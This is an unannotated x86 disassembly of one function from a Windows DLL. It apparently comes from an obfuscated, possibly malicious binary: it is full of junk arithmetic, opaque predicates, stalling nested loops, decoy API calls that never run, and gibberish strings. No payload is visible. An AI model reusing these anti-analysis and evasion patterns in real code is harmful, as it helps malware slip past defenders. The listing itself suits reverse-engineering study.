mov dword [eax + ecx*4], 0x6a3367f5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1000aa01
mov eax, dword [ebp - 0xac]
lea ecx, [ebp - 0xac]
cmp dword [ebp - 0x38], ebx
mov dword [eax + 4], 0xa5c62e08
call fcn.10001fdf
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xffffffe5
jg 0x1000a9ef
lea ecx, [ebp - 0x124]
mov byte [ebp - 4], 0x11
call fcn.10001fdf
mov dword [ebp - 0x24], 0xf57a7c20
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x20], 0x7fa5c62e
push 3
call fcn.10001f82
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], 0xfffffff7
mov dword [ebp - 0x3c], 9
push 1
call fcn.10001f82
mov dword [ebp - 0x1c], ebx
jmp 0x1000aaa0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x100], 0xcdf9c775
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1000aa8f
mov dword [ebp - 0x1c], ebx
jmp 0x1000aabe
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x118]
mov dword [eax + ecx*4], 0xac3d6c1d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000aaab
mov dword [ebp - 0x1c], ebx
jmp 0x1000aadc
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x13c]
mov dword [eax + ecx*4], 0xbbd18838
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x1000aac9
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x24], ebx
jne 0x1000ab60
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setne dl
mov dword [ebp - 0x100], edx
mov ecx, dword [ebp - 0x100]
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x118]
imul edx, ecx
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp edx, eax
mov eax, dword [ebp - 0x24]
setne cl
mov dword [ebp - 0x30], ecx
xor ecx, ecx
cmp dword [ebp - 0x30], eax
setl cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
add eax, 0xffff3c5b
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x24]
jg 0x1000ab60
mov edx, ebx
jmp 0x1000ab63
xor edx, edx
inc edx
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
sete cl
sub ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x13c]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1000ab8e
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
lea ecx, [ebp - 0x13c]
call fcn.10001fdf
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0x11
call fcn.10001fdf
push 0x5f
pop eax
mov word [ebp - 0x5c], ax
xor eax, eax
mov word [ebp - 0x60], 0xe00
mov word [ebp - 0x5a], ax
mov dword [ebp - 0x3c], 0x4ab4
cmp dword [ebp - 0x3c], 0x4b89
jle 0x1000ac08
mov edi, ebx
mov dword [ebp - 0x30], ebx
mov esi, ebx
mov ebx, edi
mov edi, 0x257e
mov eax, ebx
mov ecx, 0x10081838
cdq
push edx
push eax
call fcn.10001e6d
add ebx, esi
dec edi
jne 0x1000abd9
mov edi, dword [ebp - 0x30]
inc esi
cmp esi, 0x95c
jl 0x1000abd2
inc edi
mov dword [ebp - 0x30], edi
push 0
pop ebx
cmp edi, 0x74f9
jl 0x1000abd0
mov dword [ebp - 0x1c], 0x68206240
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x3c], 0x49fb
jge 0x1000ac49
mov edx, str.lmuw_rjdnwvr_cxlwr_wuihhn_xxuzjiy_ruwts_jykasseo_ktjhlc_pqob_imkdwmvvf_ppdtyt
mov ecx, 0x10081838
call fcn.100038af
jmp 0x1000ac49
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x28], 0xde37
mov dword [ebp - 0x2c], 0xdb81fdf2
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x34], 0xceb8a064
mov dword [ebp - 0x3c], 0x5eff85a0
mov dword [ebp - 0x1c], 0xf
jmp 0x1000ad2f
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x30], 1
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
inc eax
cmp eax, 0xca
setge cl
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], ebx
je 0x1000acae
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x24], eax
jl 0x1000acce
cmp dword [ebp - 0x24], ebx
jne 0x1000acce
mov ecx, ebx
jmp 0x1000acd1
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x28]
add eax, ecx
imul eax, dword [ebp - 0x38]
test eax, eax
je 0x1000ace1
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
xor edx, edx
mov dword [ebp - 0x2c], 0x41ce094b
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], ebx
je 0x1000ad0b
cmp dword [ebp - 0x24], ebx
je 0x1000ad15
cmp dword [ebp - 0x1c], ebx
je 0x1000ad15
xor edx, edx
inc edx
jmp 0x1000ad17
mov edx, ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0xfffffffc
setge al
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x1c]
xor ecx, ecx
cmp dword [ebp - 0x1c], 0x1d
jg 0x1000ac86
mov dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x3c]
imul esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp eax, 0xe151
mov eax, dword [ebp - 0x24]
setge cl
xor edx, edx
push 0
cmp ecx, esi
setle dl
xor ecx, ecx
cmp edx, eax
pop edx
setle cl
sub ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x2c]
sets dl
xor ecx, ecx
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
cmp edx, eax
setge cl
xor edx, edx
cmp ecx, 0x49ec59c4
setle dl
xor eax, eax
cmp edx, 0x5714a8a5
setge al
xor edx, edx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], 0xab7a3ebe
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x174], 7
setge dl
mov dword [ebp - 0x178], ebx
xor eax, eax
neg edx
mov word [ebp - 0x188], ax
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x2c], edx
push eax
call fcn.10008a0e
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x28], 0x5013
cmp dword [ebp - 0x28], 0x53f1
jle 0x1000ae82
mov ecx, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov dword [ebp - 0x3c], ebx
mov esi, ebx
mov dword [ebp - 0x30], ebx
mov eax, edi
mov dword [ebp - 0x2c], ebx
cdq
mov edi, ebx
idiv esi
mov esi, ecx
mov ecx, edx
shl esi, cl
mov ecx, edi
mov eax, esi
sar eax, cl
lea ecx, [ebp - 0x274]
cdq
push edx
push eax
call fcn.10001a31
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000ae33
mov eax, dword [eax]
push eax
call fcn.1004b116
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x274]
call fcn.100022d2
inc edi
cmp edi, 0x59a6
jl 0x1000ae15
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x3c]
inc esi
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x30], esi
cmp esi, 0x659
jl 0x1000ae05
inc edi
mov dword [ebp - 0x3c], edi
cmp edi, 0x710a
jl 0x1000ae00
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0x3da6
jl 0x1000adfb
mov dword [ebp - 0x1c], 0x2124
mov dword [ebp - 0x24], 0x97515801
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x38], 0x90350d8a
mov dword [ebp - 0x3c], 0xdb2b058e
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x30], 0xfffffffb
cmp dword [ebp - 0x1c], ebx
je 0x1000afd8
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xcee34edf
jb 0x1000aed1
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setg dl
cmp edx, 0xffffffff
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x38], 4
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x1c], 3
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
je 0x1000af06
cmp dword [ebp - 0x20], ebx
je 0x1000af06
xor edx, edx
inc edx
jmp 0x1000af08
mov edx, ebx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setne cl
sub ecx, dword [ebp - 0x20]
je 0x1000afd8
push dword [ebp - 0x64]
movdqa xmm0, xmmword [0x10073660]
lea eax, [ebp - 0x1a0]
push eax
lea eax, [ebp - 0x1b0]
mov dword [ebp - 0x34], 0x87b8b0d5
push eax
mov dword [ebp - 0x2c], 0x4898d08f
lea ecx, [ebp - 0x90]
push ebx
movdqu xmmword [ebp - 0x1b0], xmm0
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x88], ebx
call fcn.10009761
mov eax, dword [ebp - 0x30]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
cmp eax, 0xffffffff
setne cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setne dl
add eax, dword [ebp - 0x34]
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0x2c]
imul edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x24]
cmp eax, edx
setl cl
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x90]
call fcn.10001fdf
jmp 0x1000b0ff
mov dword [ebp - 0x20], 0x14
cmp dword [ebp - 0x20], 0xfffffff6
jge 0x1000b0c5
mov dword [ebp - 0x24], 0xa
cmp dword [ebp - 0x24], 0xffffffe5
jl 0x1000b0bd
mov dword [ebp - 0x30], 0x7da
cmp dword [ebp - 0x30], 0xaea
jle 0x1000b07f
mov edx, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x2a4]
or eax, edx
cdq
push edx
push eax
call fcn.10001a31
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000b033
mov eax, dword [eax]
push eax
call fcn.1004b116
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x2a4]
call fcn.100022d2
mov edx, dword [ebp - 0x34]
inc esi
cmp esi, 0xf12
jl 0x1000b013
inc edi
cmp edi, 0x69eb
jl 0x1000b011
inc edx
mov dword [ebp - 0x34], edx
cmp edx, 0x62dd
jl 0x1000b00f
push 0x1a9f
push ebx
push 0x5c1
push 0x109b
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1000b09a
push ebx
push 0xfa1
push ebx
push 0x1b24
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
cmp dword [ebp - 0x30], 0x56d
jge 0x1000b0ae
push str.bnqrgyu_wrwmcqi_nmluoqg_oajvcxaz_ymkwqsvw_dkwkg_cyjprcyk_jcalwato
call fcn.1004b116
pop ecx
mov dword [ebp - 4], 0x18
dec dword [ebp - 0x24]
jmp 0x1000aff0
dec dword [ebp - 0x20]
jmp 0x1000afdf
mov dword [ebp - 0x24], 0xd
jmp 0x1000b0f9
mov dword [ebp - 0x30], 0x2a7181ca
mov dword [ebp - 0x38], ebx
jmp 0x1000b0f0
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1000b0ea
push ebx
call dword [sym.imp.USER32.dll_RegisterClassW]
dec dword [ebp - 0x30]
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xfffffffb
jg 0x1000b0da
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 5
je 0x1000b0ce
cmp dword [ebp - 0x28], 0x4fce
jge 0x1000b113
push str.sdsy_ytnuz_owdtju_lwbocck_gukja_vzuwvg_dpahmxhp_bsipivo_rfg_qfwscs_qxcvzlamz_zqnwecix_ejfbflero_qqi
call fcn.1004b116
pop ecx
mov dword [ebp - 4], 0x18
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x30], 0xdf98a59c
mov dword [ebp - 0x38], 0xfffffff9
push 2
call fcn.10001f82
mov dword [ebp - 0x3c], 0x3e31
mov dword [ebp - 0x28], 0xc87a7525
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x2c], ebx
jmp 0x1000b168
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xa0]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x1000b155
dec dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xa0]
cmp ecx, dword [eax]
jge 0x1000b184
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x3c]
xor edx, edx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setl dl
sub edx, 9
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x20]
je 0x1000b1a4
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0xa0]
imul eax, dword [ecx], 0xa0b2
mov dword [ecx + 4], eax
lea ecx, [ebp - 0xa0]
call fcn.10001fdf
push dword [ebp - 0xe8]
cmp dword [ebp - 0xe4], 8
lea eax, [ebp - 0xf8]
push ebx
cmovae eax, dword [ebp - 0xf8]
lea ecx, [ebp - 0x1a0]
push eax
call fcn.10008ac8
cmp eax, 0xffffffff
je 0x1000b20a
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x188]
push ecx
push 1
push eax
lea ecx, [ebp - 0x1a0]
call fcn.100093fe
jmp 0x1000b1c4
mov ecx, dword [ebp - 0x64]
lea eax, [ebp - 0x1a0]
push eax
lea edx, [ebp - 0x170]
call fcn.1000b43e
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x188]
call fcn.10008b6b
push ebx
push 1
lea ecx, [ebp - 0xf8]
call fcn.10008b6b
push ebx
push 1
lea ecx, [ebp - 0x1a0]
call fcn.10008b6b
push ebx
push 1
lea ecx, [ebp - 0x170]
call fcn.10008b6b
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret